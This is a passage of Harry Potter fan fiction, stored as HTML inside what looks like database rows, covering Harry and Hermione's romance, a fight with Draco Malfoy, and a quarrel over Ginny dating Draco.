(Harry&#8217;s technically) and was walking down the stairs.  </p>\n\n<p>She played with her hair dangling from her ears curling it around her fingers.  She reached the bottom of the stairs to be met with a soft singing male voice.  </p>\n\n<p>She poked her head around the corner to find Harry singing quietly to himself.  </p>\n\n<p>	&quot;It&#8217;s her hair and her eyes today, that just simply take me away, and the feeling that I&#8217;m falling further in love makes me shiver, but in a good way,&quot; He had his eyes closed.  The sound flowed through him as music did.  </p>\n\n<p>Hermione managed to sneak quietly into the room still listening to her boyfriend unknowingly serenading her.  </p>\n\n<p>	&quot;All the times that I&#8217;ve sat and stared as she thoughtfully thumbs through her hair, and she purses her lips bats her eyes and she plays with me sitting there slack jawed with nothing to say,&quot; Hermione had managed to sit quietly on the chair to Harry&#8217;s right.  He had his eyes closed and didn&#8217;t even notice anyone was in the room.  </p>\n\n<p>	&quot;Cause I love her, with all that I am, and my voice shakes along with my hands, cause she&#8217;s all that I see and she&#8217;s all that I need and I&#8217;m out of my league once again.&quot;</p>\n\n<p>He stopped and opened his eyes.  He noticed Hermione sat with a grin plastered on her face.  </p>\n\n<p>	&quot;What are you laughing at?&quot; He slung an arm over the back of the sofa and turned to face her.  </p>\n\n<p>	&quot;Nothing, nothing,&quot; She smiled.  </p>\n\n<p>She stood and walked over sitting next to him.  He wrapped his arm around her shoulders and hugged her body close to his.  </p>\n\n<p>	&quot;This is the most comfortable I&#8217;ve been in ages,&quot; Harry sighed snuggling closer to his girlfriend.  </p>\n\n<p>	&quot;Me too,&quot; Hermione closed her eyes lightly.  &quot;At the end of this year it will all be over&#8230;no more dark halls and secret passages&#8230;&quot;<br>\n</p>\n<p>	&quot;Unless you&#8217;re smart like me and living in the Marauder Manor with Sirius.&quot;</p>\n\n<p>Hermione chuckled.  &quot;You gonna come and see me after we finish school?&quot;</p>\n\n<p>Harry looked down into her now open eyes.  Swirling mystical pools of radiance shimmering before his own.  </p>\n\n<p>	&quot;I&#8217;ll never be away from you,&quot; He smiled.  Hermione grinned back in response and leant against his chest.  </p>\n\n<p>	&quot;Are you going to University?&quot;  She asked.  </p>\n\n<p>	&quot;Definitely.  I want to further my education in History or DADA.&quot;</p>\n\n<p>	&quot;You want to be a DADA teacher?  With the track running we&#8217;ve had I don&#8217;t think you&#8217;d last long.&quot;<br>\n</p>\n<p>Harry laughed.  &quot;Maybe not.  What about you?&quot;</p>\n\n<p>	&quot;I want to do Charms or something.  Maybe History I&#8217;m not sure.  I do want to come back here though&#8230;working for Dumbledore.&quot;</p>\n\n<p>	&quot;Or whoever the next headmaster will be.&quot;</p>\n\n<p>	&quot;You don&#8217;t think it&#8217;ll be Dumbledore for much longer?&quot;</p>\n\n<p>	&quot;Yeah, a good few year but not too long.&quot;</p>\n\n<p>	&quot;He could do with retirement.  Although, I think he&#8217;ll get bored.&quot;</p>\n\n<p>	&quot;No way.  He&#8217;ll charm his trashcans or something.  He was always saying during my training that if he did retire he&#8217;d live in the Muggle world.&quot;</p>\n\n<p>	&quot;Why?&quot;</p>\n\n<p>	&quot;He reckons Muggles are interesting and they have Sherbet Lemons.&quot;</p>\n\n<p>Hermione chuckled.  &quot;I suppose retirement wouldn&#8217;t suit him much.  He&#8217;s more of the get-up-and-go type like you.&quot;<br>\n</p>\n<p>	&quot;Am I?&quot;</p>\n\n<p>	&quot;You&#8217;ve always got something going on or up your sleeve.  You&#8217;re not unlike Dumbledore you know.&quot; </p>\n\n<p>	&quot;Good&#8230;&quot; Harry smirked evilly.  &quot;I want a big white beard, some half-moon spectacles and a school all to myself.&quot;</p>\n<p>Hermione stifled a laugh and looked up at her adorable boyfriend.  &quot;Is Dumbledore married?&quot;</p>\n\n<p>	&quot;No, why?&quot;</p>\n\n<p>Hermione sighed and slumped back down against his chest.  &quot;You can&#8217;t be like Dumbledore then.&quot;</p>\n\n<p>	&quot;Why?&quot;  Harry began chewing his bottom lip for no reason at all.  </p>\n\n<p>	&quot;Because after I get my qualification in Charms and you get yours in DADA, we&#8217;re getting married so you can&#8217;t be like Dumbledore unless Dumbledore gets married.  Get it?&quot;</p>\n\n<p>	&quot;You wanna marry me?&quot;  Harry smirked still biting his lip.  </p>\n\n<p>Hermione sat up and looked into his adorable emerald eyes.  </p>\n\n<p>	&quot;Of course I do&#8230;do you really think my mum and dad are going to let me spend the rest of my life with you if we&#8217;re not married?  And what&#8217;ll the kids think?&quot;</p>\n\n<p>Harry smiled and rested his lips against hers pulling her closer to him.  He found no resistance whatsoever.  He was welcomed into her mouth.  </p>\n\n<p>She fell against him on the sofa pushing him down into the soft cushions beneath his body.  His arms slid around her waist, softly running his hands up and down his spine causing her to arch involuntarily into him.  </p>\n\n<p>He groaned.  </p>\n\n<p>	&quot;Do you like that, Potter?&quot; She gasped coming away from his lips only for a second before smashing down against his once more. </p>\n\n<p>Harry pressed his lips harder against hers sliding his already accepted tongue over her bottom lips asking politely for entrance.  </p>\n\n<p>Their tongues slid together.  Hermione pressed her hand against the soft sofa cushions behind his head and stroked his nape gently.  </p>\n\n<p>Their kisses slowed and eased to gentle roaming kisses instead of bruising kisses witnessed only moments before.  </p>\n\n<p>When they parted, Harry leant up and kissed the tip of her nose.  </p>\n\n<p>	&quot;I&#8217;m glad we&#8217;re waiting until after Hogwarts,&quot; He smiled genuinely.  </p>\n\n<p>When they had first started dating, Harry had promised her that he wouldn&#8217;t make love to her until the time was right.  Until that one perfect moment.  </p>\n\n<p>He had slept with other people.  Cho Chang being one; Holly Dandles from Hufflepuff and Eloise Croft from Cho&#8217;s year.  </p>\n\n<p>Each one had been great but a total disaster.  Unique experiences in themselves but all he&#8217;d ever really wanted&#8230;he had right then in his arms.  Hermione Jayne Granger.  </p>\n\n<p>She&#8217;d settled down in his arms and was lying on him, resting her head on his chest.  He found that he was stroking her hair sweetly as if urging her to sleep.  </p>\n\n<p>She felt her eyes closing slowly and she yawned.  </p>\n\n<p>	&quot;I think you need to get to bed,&quot; Harry stated.  &quot;Beauty sleep and all that&#8230;&quot;</p>\n\n<p>She smacked his chest playfully.  It wasn&#8217;t much of a hit.  She was exhausted.  </p>\n\n<p>	&quot;Carry me.&quot;</p>\n\n<p>	&quot;Do I have to?&quot;</p>\n\n<p>Hermione scoffed and stood up trying not to waver as she did so.  </p>\n\n<p>	&quot;No&#8230;I&#8217;ll walk to bed then.&quot;  </p>\n\n<p>She crossed her arms over her chest and turned away from him. </p>\n\n<p>Harry chuckled lightly and got up.  He whisked her up in his arms honeymoon style.</p>\n\n<p>	&quot;See? That wasn&#8217;t so hard was it.&quot;  She giggled and rested against his chest.</p>\n\n<p>He carried her up to her bedroom and placed her down onto her bed.  </p>\n\n<p>He let go but found himself pulled back down by Hermione&#8217;s hand on the back of his neck.  </p>\n\n<p>His lips met hers softly and sweetly.  Not intense or sexual, but loving and sensual.  </p>\n\n<p>When they parted, Hermione looked up into Harry&#8217;s eyes.  </p>\n\n<p>	&quot;Night Harry,&quot; She smiled.  </p>\n\n<p>He grinned and kissed her forehead before retreating to the door; the entrance to her safe Haven.  </p>\n\n<p>	&quot;Night, Herm,&quot; He smiled before he closed the door behind him.  </p>\n\n<p>&nbsp;</p>\n<p>~)*(~</p>\n\n<p>&nbsp;</p>\n<p>The next morning, Hermione had rushed over to Harry&#8217;s bedroom to wake him up.  It was just like him to lie in on their first day.  They&#8217;d already missed five minutes of breakfast.  </p>\n\n<p>	&quot;I am not touching that, Harry James Potter!&quot;  She shrieked throwing her arms above her head furiously.  &quot;Not a bleeding chance in the world.&quot;</p>\n\n<p>Harry just laughed.  &quot;Please?  We&#8217;ll be even more later if you don&#8217;t.&quot;</p>\n\n<p>	&quot;NO!  For the last time no!&quot;</p>\n\n<p>	&quot;It won&#8217;t bite, I promise.&quot;</p>\n\n<p>	&quot;Don&#8217;t do that!  Don&#8217;t promise me something that you know isn&#8217;t true!&quot;</p>\n\n<p>	&quot;But it won&#8217;t!&quot;</p>\n\n<p>	&quot;How do you know, brainiac?&quot;</p>\n\n<p>	&quot;Because you wonderful woman,&quot; He brought her into his arms and kissed her forehead softly.  &quot;You know how to handle it.&quot;</p>\n\n<p>	&quot;Yeah but so do you.&quot;</p>\n\n<p>	&quot;But it&#8217;s not the same when I do it.  It gets wild.&quot;</p>\n\n<p>	&quot;You&#8217;re making this sound dirty.&quot;</p>\n\n<p>	&quot;No I&#8217;m not!  Just stroke it.&quot;	</p>\n\n<p>She stroked it gently making Harry smile.  </p>\n\n<p>	&quot;That wasn&#8217;t so hard was it!&quot;</p>\n\n<p>	&quot;No&#8230;I guess not.  You did get the worst one of the bunch though.&quot;</p>\n\n<p>	&quot;I don&#8217;t doubt it.&quot;</p>\n\n<p>Harry grinned satisfied and walked into his bathroom to brush his teeth.  </p>\n\n<p>	&quot;Put it away when you&#8217;ve finished!&quot;  He called from the bathroom.  </p>\n\n<p>Hermione stroked the monster book again and opened it to find Harry&#8217;s homework.  She scanned over the work.  His handwriting was improving but it was still scrawl.  </p>\n\n<p>	&quot;Your handwritings getting better!&quot; She shouted closing the book and putting it into Harry&#8217;s bag.  </p>\n\n<p>	&quot;&#8217;Fanks!&quot; He called from the bathroom with a mouthful of toothpaste.  </p>\n\n<p>She sat on the end of his bed and studied his desk.  He had several pictures of his friends and family on it.  </p>\n\n<p>One was Sirius and himself on holiday.  Harry was looking as handsome as always standing on top of the Eiffel Tower looking down into the camera.  He was waving a gold and scarlet Gryffindor scarf.  Trust him to take it everywhere with him.  </p>\n\n<p>Another was Harry, Lavender, herself and Ron waving to the camera in Ron&#8217;s house.  It was taken in their sixth year.  It moved about.  At present Harry and Hermione were linked arms around each other&#8217;s waists leaning their heads together.  Ron was fighting with Lavender.  </p>\n\n<p>The next had the Weasley family including Hermione, Ron and Lavender.  They were all standing and sitting in the Weasley&#8217;s backyard looking very happy.  </p>\n\n<p>The last was her favourite.  It was one Colin Creevy had taken yesterday.  Harry had politely requested it from his Instant Develop camera.  Colin obliged of course.  </p>\n<p>It was Harry and Hermione kissing softly in each other&#8217;s arms in front of a large tapestry of the Gryffindor Lion.  </p>\n\n<p>It really was lovely.  They weren&#8217;t all over each other but more cuddly and loving than passionate.  The passion was there of course.  </p>\n\n<p>Harry walked out of the bathroom fully dressed and ready to go.  He slung his bag over his shoulder and swung his arm over Hermione&#8217;s shoulder holding her close to him.  </p>\n\n<p>	&quot;Whatcha looking at?&quot;  He grinned.  </p>\n\n<p>She pointed to the picture.  &quot;Just by chance as well.&quot;</p>\n\n<p>	&quot;We&#8217;re destined to look great wherever we are.&quot;</p>\n\n<p>She smiled wildly as they walked down to the Great Hall and what was left of breakfast.    </p>\n<p>	</p>\n\n'),
	(175, 6, ' <b><u></u></b><u></u><p><u><b>Disclaimer: </b></u>I don&#8217;t own a thing!</p>\n\n<b><u></u></b><u></u><p><u><b>Author note: </b></u>I am so, so, so, so, so, so, so, so, so, sorry for the two-month delay in this chapter. I&#8217;ve had a lot of stuff to be dealing with lately. </p>\n\n<p>Thanks to all you reviewers! You really make my day! Really!</p>\n\n<p>Special thanks to my friends LegyLuva, MichelleFrodo and arwen undomiel (?) who helped me find my muse again.</p>\n\n<p>Luvs!</p>\n\n<b><u>\n\n<p>&nbsp;</p>\n\n<p>Chapter 6: Stress and Insults</p>\n\n</u></b><p>&nbsp;</p>\n\n<p>	&quot;Have you?&quot; Ron asked eagerly flicking through his potions book for the ingredients written on the chalkboard.</p>\n\n<p>Harry just shook his head. &quot;Nope.&quot;</p>\n\n<p>Ron let out a huge sigh. He&#8217;d wanted to hear all the details. &quot;You must&#8217;ve done something?&quot;</p>\n\n<p>	&quot;Not like I&#8217;d tell your sick mind,&quot; Harry jabbed Ron&#8217;s forehead with his quill tip. </p>\n\n<p>	&quot;Ow!&quot; Ron rubbed his forehead. &quot;My mind is not sick, Potter. Merely inexperienced.&quot;<br>\n\n</p>\n\n<p>	&quot;Shh!&quot; Harry managed before Snape sauntered over to them. </p>\n\n<p>	&quot;Enjoying your potion Weasley?&quot; He asked slyly. </p>\n\n<p>	</p>\n\n<p>Ron made a face to Harry quickly before turning back to his teacher, &quot;Lovely, sir.&quot; He gave Snape a big cheesy grin. </p>\n\n<p>	&quot;Good,&quot; He smirked. Then he turned to Harry. &quot;Dumbledore&#8217;s office, on the double, Potter.&quot;<br>\n\n</p>\n\n<p>Harry stood up and shrugged to Ron. Snape literally tried to march him out of the classroom. </p>\n\n<p>&nbsp;</p>\n\n<p>They reached the gargoyle in minutes. </p>\n\n<p>	&quot;Sugar Plum Cocktail.&quot; Snape uttered to the gargoyle. It came to life and sprang open. </p>\n\n<p>Albus Dumbledore was sitting on the edge of his desk feeding Fawkes as Harry walked in. </p>\n\n<p>	&quot;Ah, Harry,&quot; Dumbledore signalled to Snape who quietly left. &quot;Please, sit down.&quot;<br>\n\n</p>\n\n<p>Harry did. Dumbledore sat down behind his desk. </p>\n\n<p>	&quot;I want to talk to you about the white room,&quot; Dumbledore rocked slightly in his chair. </p>\n\n<p>	&quot;Hermione told you?&quot; Harry asked twiddling his thumbs. </p>\n\n<p>	&quot;Professor McGonagall actually. Miss Granger told her Head of House who in turn thought it best to inform myself.&quot; Dumbledore grinned. &quot;There have been several occurrences during my years. I have witnessed a few myself.&quot;<br>\n\n</p>\n\n<p>Harry stiffened a bit in his chair. He didn&#8217;t know anything about them or what they did. &quot;What are they, sir?&quot;</p>\n\n<p>	&quot;Empty dreams. You go to sleep, you dream. But when a fine line is crossed between unconsciousness and consciousness&#8230;some people end up there.&quot;</p>\n\n<p>	&quot;What happens? The person there just told me what it was but didn&#8217;t say anything&#8230;&quot;</p>\n\n<p>	&quot;Harry&#8230;&quot; Dumbledore held up his hand, signalling him to cease his babbling. &quot;I know exactly how you feel. It isn&#8217;t a violation, rather a re-entry point for the dreamless.&quot;</p>\n\n<p>	&quot;Oh,&quot; Harry smiled. &quot;Thank Merlin. I thought it was something serious.&quot;</p>\n\n<p>	&quot;It is,&quot; Dumbledore said turning the boy serious again. &quot;Very serious indeed. It occurs when the subject is under stress. Try and cool down a bit, Harry.&quot;</p>\n\n<p>Dumbledore finished the last part with a smile. &quot;You may go now, if you wish.&quot;<br>\n\n</p>\n\n<p>Harry nodded an agreement and walked swiftly from the room. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione and Lavender walked quickly from their Transfiguration room. When they reached the foot of the stairs, Hermione collided with something. </p>\n\n<p>	&quot;We ought to stop meeting like this,&quot; Harry laughed as he helped his girlfriend back to her feet. </p>\n\n<p>	&quot;I kinda like meeting like this,&quot; She wrapped a hand around his neck and kissed him softly. </p>\n\n<p>	&quot;If that isn&#8217;t the cutest thing!&quot; Lavender gleefully jumped on the spot. &quot;Harry bent slightly like that, Hermione&#8217;s arms around his neck holding him. Aww!&quot;</p>\n\n<p>Harry and Hermione opened their eyes, not breaking the kiss and looked at Lavender. </p>\n\n<p>	&quot;You&#8230;are&#8230;weird&#8230;&quot; Hermione muttered in between kisses. She laughed a little. </p>\n\n<p>	&quot;Shh!&quot; Lavender hit her friend playfully on the arm. &quot;Don&#8217;t ruin the moment!&quot;</p>\n\n<p>The couple laughed again and couldn&#8217;t contain it, breaking the kiss and laughing. </p>\n\n<p>Lavender stomped her foot on the floor. &quot;Now that was silly! I was going to run up to Colin and get his camera.&quot;</p>\n\n<p>Harry shrugged. &quot;We&#8217;ll give you plenty more opportunities.&quot;<br>\n\n</p>\n\n<p>Hermione smirked at her boyfriend raising an eyebrow at him. &quot;Starting with when?&quot;</p>\n\n<p>Harry smiled back and leaned in taking her lips with his own. </p>\n\n<p>	&quot;Oh,&quot; Lavender smiled instantly. &quot;That was sweet! Oh, that was so lovely!&quot;</p>\n\n<p>	&quot;Urgh!&quot; </p>\n\n<p>Another voice sounded from the stairwell. </p>\n\n<p>	&quot;The Terrible Two are at it again!&quot; Draco laughed. </p>\n\n<p>Harry and Hermione almost jumped away from each other. </p>\n\n<p>	&quot;Sod off, Malfoy,&quot; Hermione narrowed her eyes at him. </p>\n\n<p>Draco snickered. &quot;The Mudblood&#8217;s annoyed at me for breaking up her snog date? Boo hoo.&quot;</p>\n\n<p>Hermione and Lavender jumped forward quickly enough to physically restrain Harry from causing some serious harm to the blonde. </p>\n\n<p>	&quot;Don&#8217;t bother with him, Harry,&quot; Hermione spoke softly into Harry&#8217;s ear. &quot;He&#8217;s really not worth it.&quot;<br>\n\n</p>\n\n<p>	&quot;Oh really?&quot; Draco sneered evilly with a smirk on his face. &quot;Did you know that the Mudblood&#8217;s all over Finch-Fletchley when you&#8217;re not around, Potter?&quot;</p>\n\n<p>Again, the girls restrained Harry, pulling his arms back behind him. </p>\n\n<p>Draco laughed heartily. &quot;They were up in the Conference Room together. I saw them. But it&#8217;s not like she&#8217;d tell you that you disgust her, is it, Potter?&quot;</p>\n\n<p>The girls weren&#8217;t quick enough this time. Harry stumbled backwards as blood was gushing from Draco&#8217;s nose. </p>\n\n<p>	&quot;You bastard!&quot; he screamed. &quot;I&#8217;m&#8230;I&#8217;m bleeding to death! You bastard! My father&#8230;&quot;<br>\n\n</p>\n\n<p>Harry shooed him with one hand. &quot;Go and cry to your daddy then Malfoy. Daddy protects you.&quot;&quot;</p>\n\n<p>	&quot;Well, it&#8217;s better than being an orphan,&quot; Draco sneered and ran before Harry had chance to retaliate. </p>\n\n<p>But that insult really hit home. </p>\n\n<p>Harry felt his insides boiling over at Draco&#8217;s comment. </p>\n\n<p>Hermione put her arms around Harry&#8217;s waist and hugged him close to her, cuddling him. </p>\n\n<p>	&quot;Don&#8217;t let him get to you, Harry,&quot; She whispered into his chest as he smothered his face in her hair. </p>\n\n<p>	&quot;Yeah,&quot; Lavender agreed. &quot;You&#8217;re a better man than he&#8217;ll ever be.&quot;<br>\n\n</p>\n\n<p>The comforting words from the girls and the hug from Hermione seemed to be working. He was feeling calmer. </p>\n\n<p>Hermione pulled away and looked at him. &quot;You okay?&quot;</p>\n\n<p>Harry nodded and leaned over, kissing her forehead. He could make out her smile as he pulled away. </p>\n\n<p>Linked arm and waists, they walked up to their common room, Lavender walking beside Hermione. </p>\n\n<p>When they reached the top, Harry slumped down into one of the big chairs and stared at the fire. </p>\n\n<p>Who knew that one little insult from Malfoy could bring about all this grief? Normally he would have just shrugged it off, but not tonight. Tonight felt emotional. </p>\n\n<p>The portrait swung open and Ron strode in. </p>\n\n<p>	&quot;Hiya!&quot; he called, depositing a kiss on Lavender and smiling at Hermione before walking around to Harry. </p>\n\n<p>Hermione and Lavender had seated themselves at the big desk and were completing their homework, Hermione taking sneak glances at her boyfriend every few minutes. </p>\n\n<p>	&quot;Harry?&quot; Ron asked, sitting down on the sofa near him. </p>\n\n<p>Harry looked up, clasping his hand together in his lap. </p>\n\n<p>	&quot;Hagrid wants to see you in his hut,&quot; Ron informed, putting his bag down on the floor. &quot;He has a guest.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p> '),
	(175, 7, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 97">\n\n<title>Chapter 7: Dead Give-away</title>\n\n\n\n<p>A.N&#8230; I am soooooo sorry for the huge delay yet again in updating this story. I&#8217;ve got a lot going on at the moment with my exams and so forth. I will try and update as fast as I can but its finding the time between studying and crashing out from lack of sleep.</p>\n\n<font size="2">\n\n<p>&nbsp;</p>\n\n</font><b><u><p>&nbsp;</p>\n\n<p>Chapter 7: Dead Give-away</p>\n\n</u></b>\n\n<p>&nbsp;</p>\n\n<p>Harry rushed down to Hagrid&#8217;s cabin. It was after curfew hours but he managed, somehow, to not get caught by Filch. The regular excuse was that he was on Head Boy duties and one from his house wasn&#8217;t in bed. Got him every time. </p>\n\n<p>Harry pulled his robes around him. It was damn chilly this time of year. </p>\n\n<p>There was a light on in Hagrid&#8217;s hut, from the gas lantern he kept most likely. Hopefully he&#8217;d have a decent fire going a hot cup of coca. </p>\n\n<p>Harry knocked on the wooden door sharply. </p>\n\n<p>The door opened. It was Remus Lupin, Sirius&#8217; old friend. </p>\n\n<p>	&quot;Harry!&quot; He exclaimed wrapping Harry in a warm hug. </p>\n\n<p>	&quot;Remus?&quot; Harry raised an eyebrow. &quot;I thought Sirius would be here actually.&quot;<br>\n\n</p>\n\n<p>Remus beamed brightly. &quot;He would&#8217;ve but we had a bet. If I beat him at Scrabble he had to clean the Manor. And I did, so I&#8217;m here instead.&quot;<br>\n\n</p>\n\n<p>Harry laughed. &quot;It&#8217;s great to see you all the same.&quot;</p>\n\n<p>They hugged a manly hug again before entering the small hut. </p>\n\n<p>After a few biscuits and a cup of Hagrid&#8217;s tea, Harry and Remus had chatted away about almost everything. Hagrid had left not long after Harry&#8217;s arrival, a job for Dumbledore. </p>\n\n<p>	&quot;So,&quot; Remus grinned. &quot;Is everybody coming down for New Years then?&quot; </p>\n\n<p>Harry nodded. &quot;I think so. Hermione wants to and Ron doesn&#8217;t think he&#8217;ll be staying with his family this year. Bill and Charlie are home and there isn&#8217;t much room at the Burrow even with the magical extension.&quot;</p>\n\n<p>The large clock above the fireplace chimed loudly. </p>\n\n<p>	&quot;You&#8217;d better be getting back,&quot; Remus placed his large cup down on the table and stood up. Harry stood with him and walked to the door. </p>\n\n<p>	&quot;I&#8217;ll be at the Manor on the 28<sup>th</sup> maybe,&quot; Harry gave his friend a hug before leaving. </p>\n\n<p>	&quot;See you soon, Harry,&quot; Remus waved and closed the door to the small hut. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry walked very happily up to the common room. Most of the portraits that were still awake acknowledged him and waved a hello. </p>\n\n<p>He was very happy to be at school. Hogwarts was his home, much more than the Marauder Manor was. Hogwarts had been his first real home, the first place he&#8217;d felt entirely welcome.</p>\n\n<p>He spoke the password to the Fat Lady and the portrait swung open. He climbed inside. </p>\n\n<p>	&quot;What has it got to do with you anyway?&quot; Harry heard Ginny&#8217;s voice shouting. </p>\n\n<p>Harry turned the corner to see Lavender, Ginny and Hermione in what seemed to be a ganging up moment on Ron. </p>\n\n<p>	&quot;What do you have against him anyway?&quot; Ginny asked again, folding her arms across her chest. </p>\n\n<p>	&quot;Gin, he&#8217;s a bloody Malfoy!&quot; Ron shouted. </p>\n\n<p>Harry realised what the argument was about. He took the incentive the step more into the common room and managed to sit down on one of the large chairs before any other the others spotted him. </p>\n\n<p>His invisibility was short lived however. </p>\n\n<p>	&quot;Harry!&quot; Hermione stood up from the sofa and perched herself on the arm of Harry&#8217;s chair, leaning in to kiss his forehead lovingly. &quot;How was everything?&quot;</p>\n\n<p>	&quot;Fine,&quot; Harry replied in a whisper. Ginny and Ron were still arguing near to the fireplace. &quot;Remus wants to know who&#8217;s coming down to the Marauder Mansion for New Years.&quot;<br>\n\n</p>\n\n<p>	&quot;I&#8217;ll come if you want,&quot; Hermione brushed a stray strand of hair from his forehead. &quot;I&#8217;d like to see it again. That &#8216;tour&#8217; you gave me in sixth year didn&#8217;t quite over all the rooms.&quot;<br>\n\n</p>\n\n<p>	&quot;I kissed him Ron!&quot; Ginny cried throwing her arms in the air. &quot;I kissed him first. Me! Not him! I made the first move!&quot;</p>\n\n<p>	&quot;Yeah but&#8230;&quot; Ron tried. </p>\n\n<p>Hermione stood up. &quot;Yeah but nothing Ron. It&#8217;s Ginny&#8217;s life she can do what she wants.&quot;</p>\n\n<p>Ron looked over the Harry, for manly support maybe. &quot;Harry, help me out here mate.&quot;<br>\n\n</p>\n\n<p>Harry stood up and sighed. &quot;Ron, Ginny&#8217;s seventeen. If she wants to make her own choices she can. You shouldn&#8217;t try to stop her.&quot;</p>\n\n<p>Ginny and Hermione crossed their arms with a superior air. They&#8217;d won. </p>\n\n<p>	&quot;But&#8230;&quot; Harry sat back down. &quot;I can understand what Ron&#8217;s saying. Think of the insults and the bullying from our first year and up. All the &#8216;Mudbloods&#8217; and &#8216;Weasels&#8217;. I don&#8217;t think any brother would want his younger sister dating someone who&#8217;d insulted their family name.&quot;</p>\n\n<p>Lavender faced Harry. &quot;What? You can&#8217;t honestly believe that he hasn&#8217;t changed even a little since then&#8230;&quot;</p>\n\n<p>	&quot;I believe he may have,&quot; Harry stated. &quot;But you can&#8217;t deny the fact that his family are a family of Death Eaters. It&#8217;s a bad crowd to fall into.&quot;</p>\n\n<p>	&quot;I thought you&#8217;d be supportive of me, Harry,&quot; Ginny exclaimed walking to the portrait. &quot;But you&#8217;re just like him.&quot; She pointed to Ron. &quot;Always letting stupid squabbles cloud your view of people. Grow up.&quot;</p>\n\n<p>Ginny opened the portrait and walked out. </p>\n\n<p>	&quot;You really have no clue,&quot; Lavender shook her head as she walked up to her dorm room. </p>\n\n<p>Ron sighed and scratched the back of his head. &quot;Hermione?&quot;</p>\n\n<p>Hermione looked at them both with her jaw locked and a down nose expression. </p>\n\n<p>	&quot;Why don&#8217;t you two grow up?&quot; She asked. &quot;You seem to be the only two not doing. Harry&#8230;&quot;</p>\n\n<p>She turned to Harry. &quot;I can understand what you&#8217;re saying Harry, but it&#8217;s Ginny&#8217;s life. Ron shouldn&#8217;t get involved.&quot;</p>\n\n<p>	&quot;Why?&quot; Harry asked standing up. &quot;It&#8217;s his &#8216;little&#8217; sister getting involved with a family of Death Eaters. He has every right to be cautious and angry. Wouldn&#8217;t you be?&quot;</p>\n\n<p>	&quot;That&#8217;s the point!&quot; Hermione shouted at her boyfriend. &quot;She&#8217;s not his &#8216;little&#8217; sister anymore. She&#8217;s seventeen years old, nearly an adult! You can&#8217;t keep treating her like a child!&quot;</p>\n\n<p>Harry looked at Ron. </p>\n\n<p>Ron walked back up to his dorm room, getting the hint. </p>\n\n<p>	&quot;Don&#8217;t you want to go to bed?&quot; Harry asked Hermione. &quot;It&#8217;s late already. I really can&#8217;t be bothered arguing now.&quot;<br>\n\n</p>\n\n<p>	&quot;No,&quot; Hermione stated firmly. &quot;We&#8217;re going to talk about this.&quot;</p>\n\n<p>	&quot;It isn&#8217;t a talk, it&#8217;s an argument,&quot; Harry sat down on the sofa. The common room was now void of anyone except the two. </p>\n\n<p>Hermione sat down next to him. &quot;Please tell me you don&#8217;t back up Ron.&quot;</p>\n\n<p>	&quot;I do,&quot; Harry looked at her. &quot;I do back him up. He&#8217;s right. His sister shouldn&#8217;t be getting involved with someone like that.&quot;</p>\n\n<p>	&quot;What&#8217;s got into you? First you understand where Ginny&#8217;s coming from then you change sides?&quot;<br>\n\n</p>\n\n<p>	&quot;Because I can see Ron&#8217;s point of view. Ginny&#8217;s like a younger sister to me. I wouldn&#8217;t want to have her in any unnecessary danger. And the Malfoy&#8217;s are the unnecessary danger.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>	&quot;They just don&#8217;t understand,&quot; Ginny said, leaning against Draco&#8217;s arm. &quot;Big brothers are so useless.&quot;<br>\n\n</p>\n\n<p>	&quot;Only one&#8217;s your brother,&quot; Draco smiled sweetly, a rare thing that only a few people saw. &quot;Potter&#8217;s just a close friend. You can&#8217;t listen to them.&quot;</p>\n\n<p>	&quot;I know,&quot; Ginny relaxed into his arms. &quot;They&#8217;ll come around eventually.&quot;<br>\n\n</p>\n\n<p>&nbsp;</p>\n\n<p>	&quot;Since Lucius&#8217; death, I think that the Malfoy&#8217;s can be a pretty nice crowd now,&quot; Hermione sighed, standing up and pacing around near the fireplace. This was the first argument she and Harry had actually had since they&#8217;re get together, and it wasn&#8217;t even about them. </p>\n\n<p>	&quot;The apple doesn&#8217;t fall far from the tree,&quot; Harry countered. &quot;Lucius was an evil bastard who wanted nothing more than to see Muggles and Muggle-borns die at the hand of his Master.&quot;</p>\n\n<p>	&quot;<i>Sometimes I really don&#8217;t think you understand me</i>,&quot; Hermione said in her head. </p>\n\n<p>	&quot;I do understand you,&quot; Harry replied. &quot;But you&#8217;re not taking this seriously. Ginny may have her own choice but it think that it&#8217;s alright for us to point out when she&#8217;s making the wrong one-&quot;</p>\n\n<p>	&quot;But that experience!&quot; Hermione flung her arms in the air. &quot;The experience of making a mistake. It&#8217;s not uncommon for people to make the wrong choices before making the right ones.&quot;<br>\n\n</p>\n\n<p>	&quot;Can you honestly say that&#8217;s helped you?&quot; Harry stood up, standing over her, and yet it still felt like he was looking up to her. &quot;There&#8217;s never been anyone there to warn you about the dangers of the wrong choice?&quot;</p>\n\n<p>	&quot;Of course there has been,&quot; Hermione turned away from Harry and crossed her arms. &quot;Lavender and I went through this whole thing with Ginny when she first told us, but the damage was already done. She thinks she&#8217;s in love with him and to be honest, I believe her.&quot;</p>\n\n<p>Harry sat down. &quot;Oh, Merlin. I&#8217;ve got to tell Ron.&quot;</p>\n\n<p>	&quot;Don&#8217;t you move!&quot; Hermione pointed at him. &quot;You stay right there. Promise me that you won&#8217;t tell Ron.&quot;<br>\n\n</p>\n\n<p>Harry tried to speak but the words kept falling from his mouth. &quot;Not tell him? H&#8230;W&#8230;why wouldn&#8217;t I do that? He deserves to know that his sister falling in love with an power obsessed git!&quot;</p>\n\n<p>	&quot;Promise me, Harry,&quot; Hermione demanded. &quot;Promise me this or I swear I will never think of you the same again. You&#8217;re protecting two people in love from&#8230;from almost seven male Weasley&#8217;s. It&#8217;s the lesser of two evils.&quot;<br>\n\n</p>\n\n<p>Harry buried his face in his hands. &quot;I can&#8217;t lie to my best friend about&#8230;about something as important as this.&quot;<br>\n\n</p>\n\n<p>	&quot;How many times have you lied to me, though, Harry?&quot; She asked leaning against the wall, watching her boyfriend and love of her life debating over which road to take: lie to his best friend or ruin his other friends relationship, which, in the long run, could possibly seal the Malfoy-Weasley gap.</p>\n\n<p>	&quot;What?&quot; Harry looked up. 